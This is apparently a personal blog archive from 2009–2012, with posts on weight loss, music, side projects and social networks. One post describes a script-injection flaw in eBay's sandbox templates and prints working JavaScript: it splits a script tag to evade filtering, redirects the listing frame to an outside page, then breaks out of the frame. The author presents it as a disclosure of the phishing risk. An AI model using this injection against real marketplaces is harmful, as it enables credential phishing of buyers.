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"And the pain this morning… It filled my head. It’s Jameson. It means that I’m not..."

Wed, 11 Jan 2012 14:28:31 +0000

“And the pain this morning…
It filled my head.
It’s Jameson.
It means that I’m not dead.”

- Hot Water Music - Trusty Chords

want a job?

Thu, 01 Dec 2011 12:26:36 +0000

[UK only] want to be a junior web developer working on markup/c-sharp/asp.net/sitecore and some php? @wehttam me a link to your cv!

A little bit of this, a little bit of that

Thu, 09 Jun 2011 14:11:02 +0100

Uch, finally updated http://mattrandl.es to be a more padded out landing page for a few main things :) So, most of my plans this year havn’t really come to fruition yet but i’m slowly sorting a lot of little things I want out.

JIRA = my new godsend, I love a decent issue tracker and have convinced work to begin using it. I’ve also moved to using it at home, so hopefully, with a few spare days im going to fill it with tasks and things I want to do for myself; then let the OCD kick in and force myself to do them all as quickly as possible :D

Oh and PS: life is still crapping rainbows on me :D

Projects

Fri, 14 Jan 2011 15:51:00 +0000

Things i’m working on in 2011

Bizman - name due to change but put simple: a codeigniter app for managing a small business
CLH - wont reveal all but it’s in two parts. The first is a bunch of bash scripts, the other is a server built in node.js
Myself - the eternal pursuit to better myself and improve everything from linguistic skills and guitar proficiency to learning to enjoy my own company :)

ebay phishing feckery

Tue, 14 Dec 2010 23:58:19 +0000

Well, I got bored the other night and decided to do a quick little test on the ebay uk sandbox and found some suprising results. By splitting up a script tag into a string you can easily write a script out to the page, to include other javascript files or various other things.

While this is all good and well for fancifying your ebay templates, it leaves the site vulnerable to phising attacks, I was even more suprised that similar methods could be used to redirect the page. This isn’t a big deal? Well, the templates are in an iframe, but by redirecting to a suitable link, you can then use futher javascript to break the frame and redirect the entire page. The following code in my test item on the sandbox was able to do the initial frame redirect:

    script used in ebay template
    var _la = "<scri"; var _mb = "pt>"; var _gp = "</s"; var _gi = "cript>"
    var _az = "location.href='http://mattrandles.com/ebay-fuckery.html';"
    document.write(_la+_mb+_az+_gp+_gi);

Then, the following simple script on the final page was able to redirect the whole page:

    if(top != self) {
        if (window.parent.location.href!="http://mattrandles.com/ebay-fuckery.html") {
            window.parent.location.href='http://mattrandles.com/ebay-fuckery.html';
         }
    } else {
        if (location.href!="http://mattrandles.com/ebay-fuckery.html") {
            location.href='http://mattrandles.com/ebay-fuckery.html';
        }
    }

This, to me, is something that shouldnt be doable on ebay (only tested on sandbox, for all i know the live site blocks this). It opens up the ability to say, host a page that looks like an auction and uses a non-descript ebay like url and dupe the end user into re-logging in on the wrong domain, giving away their username and password … or launch attempts to install malware.

Feel free to check out the html page at the link in the above code, but all it does is contain what you’ve already read here…. opinions? @wehttam me on twitter

the shit i do when drunk… thanks to my sis for...

Sun, 07 Nov 2010 16:53:58 +0000

the shit i do when drunk… thanks to my sis for uploading…

Weight Loss

Mon, 01 Nov 2010 08:19:05 +0000

I hesitantly post this here, but I’ve since removed my 2 weight loss blogs from existence

Back on 21st March 2009 I decided enough was enough, I had gained a lot of weight and put down a plan to loose it. The loose plan was:

2 Mile walk each morning Mon-Sat
Sensible breakfasts: usually weighed out All Bran and half a grapefruit
Sensible dinners: tomato’s on toast, soup and bread etc
Tea: whatever was going, not too strict
Snacks: snack-a-jack’s or yogurts etc

Well, as you can guess I went off the rails, I was too strict then went the opposite with alcohol and eating meals out, even my evening meals I kept overload and lying to myself. Now - enough is enough, weight gain has caused paranoia, loss of self confidence and I’m potentially looking at new clothes with bigger sizes: so I’m revising my plan slightly and starting again. My original weight was 142.1kg (huge) and I managed to drop down to 97kg - I won’t tell my current weight but I will say my goal is 101.6kg (16 stone) and this is my plan, albeit open to change:

2 Mile walks and a set wake up time Mon-Thurs
Day off on Friday = 2 mile walk whenever I need to wake up that day, but I’m also planning to work on personal projects on a Friday so no huge sleep-in’s
Saturday: whatever comes but hopefully some exercise
Other exercise: I bought running shoe’s and i want to use them but exercise sessions should not replace the walk for that day
Breakfasts / Dinner / Tea: same as before but this time try fruit snack’s or look at plain snacks - less inviting for abuse, need to reduce both my savory and sweet teeth!
Drinks: this is a new one but no sugary or fizzy pop before midday, any coke/pepsi should be diet/max/zero - drink my damn tea’s I originally bought to curb my addictions

Well, that’s it, it starts today.

The Damned Things - We’ve Got A Situation Here (via...

Sun, 24 Oct 2010 00:49:13 +0100

The Damned Things - We’ve Got A Situation Here (via TheDamnedThings) easily my new favorite song

Finally getting to it

Tue, 05 Oct 2010 00:58:50 +0100

I’ve just finished clearing off a lot of items on the web I didn’t want there anymore. I’ve also re-jigged my online world into two tumblr blogs, one for personal and random finds - another for anything tech related!

new years shmoo years

Wed, 24 Feb 2010 16:38:33 +0000

so far on my list of things to do this year - i’ve done 0….

but on the upside i am looking at more work and moving out, i will start kicking my ass into shape soon and .. well… im very happy is all that needs to be said!

happy new year

Mon, 04 Jan 2010 08:54:42 +0000

I can’t promise a triumphant return to the limited blogging I did, or even that I’ll be at the computer much past what I have to be for work. But I can give a list of new year hopes….

Make time to read more blog and technology news
Make time to learn new languages, both computer and linguistically speaking
Train myself to jog a 5k
Weight training to get rid of some skin
Loose another 2 stone
Work on Friday’s and save money like a mad man
Learn to be confident and random on a night out without alcohol

As you may have guessed, the last is quite important in helping with the rest in some way or other.

its been a loooong time

Wed, 09 Dec 2009 09:16:05 +0000

Wow, i’ve spent the past few months hiding from my pc and tumblr and etc etc etc

that is all…. what? thought i was back? wait till christmas :)

KHAAAAAN

Sat, 07 Nov 2009 14:51:43 +0000

KHAAAAAN

oh its goood

Sun, 11 Oct 2009 10:58:48 +0100

I know im not a student, but since freshers week I have had an awesome time, taking every opportunity to get drunk and chill the fuck out. With it being my bday next week I’ve decided it must continue at least until after then…

that is all.

(via alakazannah) EPIC

Mon, 21 Sep 2009 14:38:01 +0100

(via alakazannah) EPIC

decisions

Mon, 07 Sep 2009 08:24:12 +0100

I’ve had many project idea’s over the past year but never done them for varying reasons - I’ve decided in these months running up to end of year, I need a project to work on that’s all mine (geeky development) … not only that I need new hosting, I’m thinking of moving to a vps or dirt cheap dedi after reading a blog by zef

jogging routine

Wed, 02 Sep 2009 00:26:39 +0100

jogging routine:

so i moved eatlog permanently to a tumblelog - here’s a quick post about my jogging routine…

"business in the front, party at the back"

Sun, 16 Aug 2009 23:14:38 +0100

“business in the front, party at the back”

dont know why I haven’t said it on here yet but lets face...

Mon, 10 Aug 2009 22:46:47 +0100

dont know why I haven’t said it on here yet but lets face it, if your not blaming drews cancer then you really should start to #BlameDrewsCancer for everything

FriendFeed vs Facebook

Mon, 10 Aug 2009 22:33:01 +0100

So, since 140 chars doesnt cut it, I thought I’d post here and link up!

Let me begin by saying I’ve gone through a few different services and had my ups and downs with all of them. At its most basic I used to be hooked on IRC channels then forums and msn etc, but thats not the type of service I’m on about.

I never did myspace, I just disliked it from the start for some reason. I did join facebook, and loved it but I prefer flickr etc for photos and dislike the integration possibilities. Then of course there’s twitter, which I still use, its great to see links flying past and I have my second account which has helped me keep track of my food and loose weight. After that, there was pownce, which I loved untill it shut down, even tho it seemed innevitable as messages slowed.

I used strands for a while when Drew O was championing their cause - but as the focus of the site changed it didnt suit what I was after (my focus may have changed now, but thats for another blog). I also joined FriendFeed - which I’m still on and finally i’m getting to the point of this post….

I must admit, i’m slightly worried over any merger / takeover / selling of Friendfeed, its not a problem with Facebook. I personally feel, friendfeed has grown greatly, improved loads and has a good feature set - but I was excited to see where they would head with the service and what unique offerings they could bring to the table!

My worry is that the merger will end up with Facebook eating up Friendfeed, some features going into Facebook, some being left and that Friendfeed will either chug along for a long time or eventually disolve.

But, on the flipside I’m also eager to hear / read / watch all the interviews and news bits over this next week to see what others have to say and see if i’ve miss-judged the situation completely